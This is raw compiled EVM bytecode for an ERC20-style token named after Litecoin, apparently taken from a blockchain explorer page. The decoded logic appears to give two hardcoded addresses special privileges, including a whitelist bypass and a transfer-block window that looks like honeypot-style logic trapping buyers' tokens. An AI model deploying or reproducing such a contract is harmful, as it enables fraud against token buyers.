3ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c0d91906125f0565b60405180910390a35b611c6882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d0f611cc1828461221990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bb90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611db4848661221990919063ffffffff16565b604051611dc191906125f0565b60405180910390a3611dd4848484612263565b50505050565b6001601760156101000a81548160ff021916908315150217905550600081031561205457601760149054906101000a900460ff1615612054576000600267ffffffffffffffff811115611e3057611e2f6132cc565b5b604051908082528060200260200182016040528015611e5e5781602001602082028036833780820191505090505b5090503081600081518110611e7657611e756132fb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f419190612af8565b81600181518110611f5557611f546132fb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fbc30601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461107e565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120209594939291906133e8565b600060405180830381600087803b15801561203a57600080fd5b505af115801561204e573d6000803e3d6000fd5b50505050505b6000601760156101000a81548160ff02191690831515021790555050565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120da573d6000803e3d6000fd5b5050565b60008083036120f05760009050612152565b600082846120fe91906128d9565b905082848261210d9190613471565b1461214d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214490613514565b60405180910390fd5b809150505b92915050565b600061219a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612350565b905092915050565b60008183116121b157826121b3565b815b905092915050565b60008082846121ca91906131c2565b90508381101561220f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220690613580565b60405180910390fd5b8091505092915050565b600061225b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123b3565b905092915050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036122ef5743600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361234b5760026005819055505b505050565b60008083118290612397576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238e91906124b0565b60405180910390fd5b50600083856123a69190613471565b9050809150509392505050565b60008383111582906123fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f291906124b0565b60405180910390fd5b506000838561240a9190613024565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612451578082015181840152602081019050612436565b83811115612460576000848401525b50505050565b6000601f19601f8301169050919050565b600061248282612417565b61248c8185612422565b935061249c818560208601612433565b6124a581612466565b840191505092915050565b600060208201905081810360008301526124ca8184612477565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612502826124d7565b9050919050565b612512816124f7565b811461251d57600080fd5b50565b60008135905061252f81612509565b92915050565b6000819050919050565b61254881612535565b811461255357600080fd5b50565b6000813590506125658161253f565b92915050565b60008060408385031215612582576125816124d2565b5b600061259085828601612520565b92505060206125a185828601612556565b9150509250929050565b60008115159050919050565b6125c0816125ab565b82525050565b60006020820190506125db60008301846125b7565b92915050565b6125ea81612535565b82525050565b600060208201905061260560008301846125e1565b92915050565b600080600060608486031215612624576126236124d2565b5b600061263286828701612520565b935050602061264386828701612520565b925050604061265486828701612556565b9150509250925092565b600060ff82169050919050565b6126748161265e565b82525050565b600060208201905061268f600083018461266b565b92915050565b6000602082840312156126ab576126aa6124d2565b5b60006126b984828501612520565b91505092915050565b6126cb816124f7565b82525050565b60006020820190506126e660008301846126c2565b92915050565b60008060408385031215612703576127026124d2565b5b600061271185828601612520565b925050602061272285828601612520565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156127b25780860481111561278e5761278d61272c565b5b600185161561279d5780820291505b80810290506127ab8561275b565b9450612772565b94509492505050565b6000826127cb5760019050612887565b816127d95760009050612887565b81600181146127ef57600281146127f957612828565b6001915050612887565b60ff84111561280b5761280a61272c565b5b8360020a9150848211156128225761282161272c565b5b50612887565b5060208310610133831016604e8410600b841016171561285d5782820a9050838111156128585761285761272c565b5b612887565b61286a8484846001612768565b925090508184048111156128815761288061272c565b5b81810290505b9392505050565b600061289982612535565b91506128a48361265e565b92506128d17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846127bb565b905092915050565b60006128e482612535565b91506128ef83612535565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129285761292761272c565b5b828202905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612969602083612422565b915061297482612933565b602082019050919050565b600060208201905081810360008301526129988161295c565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006129d5601783612422565b91506129e08261299f565b602082019050919050565b60006020820190508181036000830152612a04816129c8565b9050919050565b7f6574682062616c616e6365206572726f72000000000000000000000000000000600082015250565b6000612a41601183612422565b9150612a4c82612a0b565b602082019050919050565b60006020820190508181036000830152612a7081612a34565b9050919050565b7f746f6b656e2062616c616e6365206572726f7200000000000000000000000000600082015250565b6000612aad601383612422565b9150612ab882612a77565b602082019050919050565b60006020820190508181036000830152612adc81612aa0565b9050919050565b600081519050612af281612509565b92915050565b600060208284031215612b0e57612b0d6124d2565b5b6000612b1c84828501612ae3565b91505092915050565b6000604082019050612b3a60008301856126c2565b612b4760208301846126c2565b9392505050565b6000819050919050565b6000819050919050565b6000612b7d612b78612b7384612b4e565b612b58565b612535565b9050919050565b612b8d81612b62565b82525050565b600060c082019050612ba860008301896126c2565b612bb560208301886125e1565b612bc26040830187612b84565b612bcf6060830186612b84565b612bdc60808301856126c2565b612be960a08301846125e1565b979650505050505050565b600081519050612c038161253f565b92915050565b600080600060608486031215612c2257612c216124d2565b5b6000612c3086828701612bf4565b9350506020612c4186828701612bf4565b9250506040612c5286828701612bf4565b9150509250925092565b6000604082019050612c7160008301856126c2565b612c7e60208301846125e1565b9392505050565b612c8e816125ab565b8114612c9957600080fd5b50565b600081519050612cab81612c85565b92915050565b600060208284031215612cc757612cc66124d2565b5b6000612cd584828501612c9c565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612d3a602483612422565b9150612d4582612cde565b604082019050919050565b60006020820190508181036000830152612d6981612d2d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612dcc602283612422565b9150612dd782612d70565b604082019050919050565b60006020820190508181036000830152612dfb81612dbf565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612e38601d83612422565b9150612e4382612e02565b602082019050919050565b60006020820190508181036000830152612e6781612e2b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612eca602583612422565b9150612ed582612e6e565b604082019050919050565b60006020820190508181036000830152612ef981612ebd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612f5c602383612422565b9150612f6782612f00565b604082019050919050565b60006020820190508181036000830152612f8b81612f4f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612fee602983612422565b9150612ff982612f92565b604082019050919050565b6000602082019050818103600083015261301d81612fe1565b9050919050565b600061302f82612535565b915061303a83612535565b92508282101561304d5761304c61272c565b5b828203905092915050565b7f45524332303a2052657665727465640000000000000000000000000000000000600082015250565b600061308e600f83612422565b915061309982613058565b602082019050919050565b600060208201905081810360008301526130bd81613081565b9050919050565b7f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f60008201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b6000613120602483612422565b915061312b826130c4565b604082019050919050565b6000602082019050818103600083015261314f81613113565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061318c601983612422565b915061319782613156565b602082019050919050565b600060208201905081810360008301526131bb8161317f565b9050919050565b60006131cd82612535565b91506131d883612535565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561320d5761320c61272c565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061324e601a83612422565b915061325982613218565b602082019050919050565b6000602082019050818103600083015261327d81613241565b9050919050565b600061328f82612535565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036132c1576132c061272c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61335f816124f7565b82525050565b60006133718383613356565b60208301905092915050565b6000602082019050919050565b60006133958261332a565b61339f8185613335565b93506133aa83613346565b8060005b838110156133db5781516133c28882613365565b97506133cd8361337d565b9250506001810190506133ae565b5085935050505092915050565b600060a0820190506133fd60008301886125e1565b61340a6020830187612b84565b818103604083015261341c818661338a565b905061342b60608301856126c2565b61343860808301846125e1565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061347c82612535565b915061348783612535565b92508261349757613496613442565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134fe602183612422565b9150613509826134a2565b604082019050919050565b6000602082019050818103600083015261352d816134f1565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061356a601b83612422565b915061357582613534565b602082019050919050565b600060208201905081810360008301526135998161355d565b905091905056fea2646970667358221220fa1886d96380b1a13c14a417a6337a260327a3079f23729b39ee6430131e4e4864736f6c634300080f0033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c80637d1db4a5116100ab5780639c74daf01161006f5780639c74daf0146103cb578063a9059cbb146103f6578063bf474bed14610433578063c876d0b91461045e578063c9567bf914610489578063dd62ed3e146104a057610135565b80637d1db4a5146102f65780638da5cb5b146103215780638f9a55c01461034c57806395c5c5e31461037757806395d89b41146103a057610135565b8063313ce567116100f2578063313ce5671461023557806351bc3c85146102605780636aeac3631461027757806370a08231146102a2578063751039fc146102df57610135565b806306fdde031461013a578063095ea7b3146101655780630faee56f146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104dd565b60405161015c91906124b0565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061256b565b61051a565b60405161019991906125c6565b60405180910390f35b3480156101ae57600080fd5b506101b7610538565b6040516101c491906125f0565b60405180910390f35b3480156101d957600080fd5b506101e261053e565b6040516101ef91906125f0565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a919061260b565b610562565b60405161022c91906125c6565b60405180910390f35b34801561024157600080fd5b5061024a610591565b604051610257919061267a565b60405180910390f35b34801561026c57600080fd5b5061027561059a565b005b34801561028357600080fd5b5061028c610637565b60405161029991906125f0565b60405180910390f35b3480156102ae57600080fd5b506102c960048036038101906102c49190612695565b61063d565b6040516102d691906125f0565b60405180910390f35b3480156102eb57600080fd5b506102f4610686565b005b34801561030257600080fd5b5061030b6107d1565b60405161031891906125f0565b60405180910390f35b34801561032d57600080fd5b506103366107d7565b60405161034391906126d1565b60405180910390f35b34801561035857600080fd5b50610361610800565b60405161036e91906125f0565b60405180910390f35b34801561038357600080fd5b5061039e600480360381019061039991906126ec565b610806565b005b3480156103ac57600080fd5b506103b561098f565b6040516103c291906124b0565b60405180910390f35b3480156103d757600080fd5b506103e06109cc565b6040516103ed91906126d1565b60405180910390f35b34801561040257600080fd5b5061041d6004803603810190610418919061256b565b6109f2565b60405161042a91906125c6565b60405180910390f35b34801561043f57600080fd5b50610448610a10565b60405161045591906125f0565b60405180910390f35b34801561046a57600080fd5b50610473610a16565b60405161048091906125c6565b60405180910390f35b34801561049557600080fd5b5061049e610a29565b005b3480156104ac57600080fd5b506104c760048036038101906104c291906126ec565b610fef565b6040516104d491906125f0565b60405180910390f35b60606040518060400160405280600381526020017f4c54430000000000000000000000000000000000000000000000000000000000815250905090565b600061052e610527611076565b848461107e565b6001905092915050565b60155481565b60006008600a61054e919061288e565b633b9aca0061055d91906128d9565b905090565b60008061056d611076565b905061057a858285611247565b6105858585856112d3565b60019150509392505050565b60006008905090565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105db611076565b73ffffffffffffffffffffffffffffffffffffffff16146105fb57600080fd5b60006106063061063d565b9050600081111561061b5761061a81611dda565b5b600047905060008111156106335761063281612072565b5b5050565b60055481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61068e611076565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107129061297f565b60405180910390fd5b6008600a610729919061288e565b633b9aca0061073891906128d9565b6012819055506008600a61074c919061288e565b633b9aca0061075b91906128d9565b6013819055506000600860006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6008600a6107ab919061288e565b633b9aca006107ba91906128d9565b6040516107c791906125f0565b60405180910390a1565b60125481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60135481565b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361089e5781600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b7f000000000000000000000000f09da60db2a162013b6c26d4225f54ec341c54f473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361098b5781600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b60606040518060400160405280600981526020017fe88eb1e789b9e5b8810000000000000000000000000000000000000000000000815250905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610a066109ff611076565b84846112d3565b6001905092915050565b60145481565b600860009054906101000a900460ff1681565b610a31611076565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab59061297f565b60405180910390fd5b601760149054906101000a900460ff1615610b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b05906129eb565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bac30601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166008600a610b98919061288e565b633b9aca00610ba791906128d9565b61107e565b60004711610bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be690612a57565b60405180910390fd5b6000610bfa3061063d565b11610c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3190612ac3565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ccb9190612af8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d789190612af8565b6040518363ffffffff1660e01b8152600401610d95929190612b25565b6020604051808303816000875af1158015610db4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd89190612af8565b601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e613061063d565b600080610e6c6107d7565b426040518863ffffffff1660e01b8152600401610e8e96959493929190612b93565b60606040518083038185885af1158015610eac573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ed19190612c09565b505050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f73929190612c5c565b6020604051808303816000875af1158015610f92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb69190612cb1565b506001601760166101000a81548160ff0219169083151502179055506001601760146101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e490612d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361115c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115390612de2565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161123a91906125f0565b60405180910390a3505050565b60006112538484610fef565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112cd57818110156112bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b690612e4e565b60405180910390fd5b6112cc848484840361107e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611342576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133990612ee0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a890612f72565b60405180910390fd5b600081116113f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113eb90613004565b60405180910390fd5b60011515600660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148061149e5750600554600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544361149c9190613024565b105b806114d457503273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a906130a4565b60405180910390fd5b600061151d6107d7565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561158b575061155b6107d7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b1257600860009054906101000a900460ff161561171d57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116515750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561171c5743600760003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ce90613136565b60405180910390fd5b43600760003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156117c85750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561181e5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118d957601254821115611868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185f906131a2565b60405180910390fd5b601354826118758561063d565b61187f91906131c2565b11156118c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b790613264565b60405180910390fd5b601160008154809291906118d390613284565b91905055505b6119156064611907600e54601154116118f457600a546118f8565b600c545b856120de90919063ffffffff16565b61215890919063ffffffff16565b9050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a29576012548211156119ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e1906131a2565b60405180910390fd5b611a266064611a18600f5460115411611a0557600b54611a09565b600d545b856120de90919063ffffffff16565b61215890919063ffffffff16565b90505b6000611a343061063d565b9050601760159054906101000a900460ff16158015611aa05750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611ab85750601760169054906101000a900460ff165b8015611ac5575060145481115b8015611ad45750601054601154115b15611b1057611af6611af184611aec846015546121a2565b6121a2565b611dda565b60004790506000811115611b0e57611b0d47612072565b5b505b505b6000811115611c1657611b6d81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bb90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c0d91906125f0565b60405180910390a35b611c6882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d0f611cc1828461221990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bb90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611db4848661221990919063ffffffff16565b604051611dc191906125f0565b60405180910390a3611dd4848484612263565b50505050565b6001601760156101000a81548160ff021916908315150217905550600081031561205457601760149054906101000a900460ff1615612054576000600267ffffffffffffffff811115611e3057611e2f6132cc565b5b604051908082528060200260200182016040528015611e5e5781602001602082028036833780820191505090505b5090503081600081518110611e7657611e756132fb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f419190612af8565b81600181518110611f5557611f546132fb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fbc30601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461107e565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120209594939291906133e8565b600060405180830381600087803b15801561203a57600080fd5b505af115801561204e573d6000803e3d6000fd5b50505050505b6000601760156101000a81548160ff02191690831515021790555050565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120da573d6000803e3d6000fd5b5050565b60008083036120f05760009050612152565b600082846120fe91906128d9565b905082848261210d9190613471565b1461214d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214490613514565b60405180910390fd5b809150505b92915050565b600061219a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612350565b905092915050565b60008183116121b157826121b3565b815b905092915050565b60008082846121ca91906131c2565b90508381101561220f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220690613580565b60405180910390fd5b8091505092915050565b600061225b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506123b3565b905092915050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036122ef5743600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b7f000000000000000000000000b59df095e488c059dc65c43a69fc4f03ccfdaadd73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361234b5760026005819055505b505050565b60008083118290612397576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238e91906124b0565b60405180910390fd5b50600083856123a69190613471565b9050809150509392505050565b60008383111582906123fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f291906124b0565b60405180910390fd5b506000838561240a9190613024565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612451578082015181840152602081019050612436565b83811115612460576000848401525b50505050565b6000601f19601f8301169050919050565b600061248282612417565b61248c8185612422565b935061249c818560208601612433565b6124a581612466565b840191505092915050565b600060208201905081810360008301526124ca8184612477565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612502826124d7565b9050919050565b612512816124f7565b811461251d57600080fd5b50565b60008135905061252f81612509565b92915050565b6000819050919050565b61254881612535565b811461255357600080fd5b50565b6000813590506125658161253f565b92915050565b60008060408385031215612582576125816124d2565b5b600061259085828601612520565b92505060206125a185828601612556565b9150509250929050565b60008115159050919050565b6125c0816125ab565b82525050565b60006020820190506125db60008301846125b7565b92915050565b6125ea81612535565b82525050565b600060208201905061260560008301846125e1565b92915050565b600080600060608486031215612624576126236124d2565b5b600061263286828701612520565b935050602061264386828701612520565b925050604061265486828701612556565b9150509250925092565b600060ff82169050919050565b6126748161265e565b82525050565b600060208201905061268f600083018461266b565b92915050565b6000602082840312156126ab576126aa6124d2565b5b60006126b984828501612520565b91505092915050565b6126cb816124f7565b82525050565b60006020820190506126e660008301846126c2565b92915050565b60008060408385031215612703576127026124d2565b5b600061271185828601612520565b925050602061272285828601612520565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018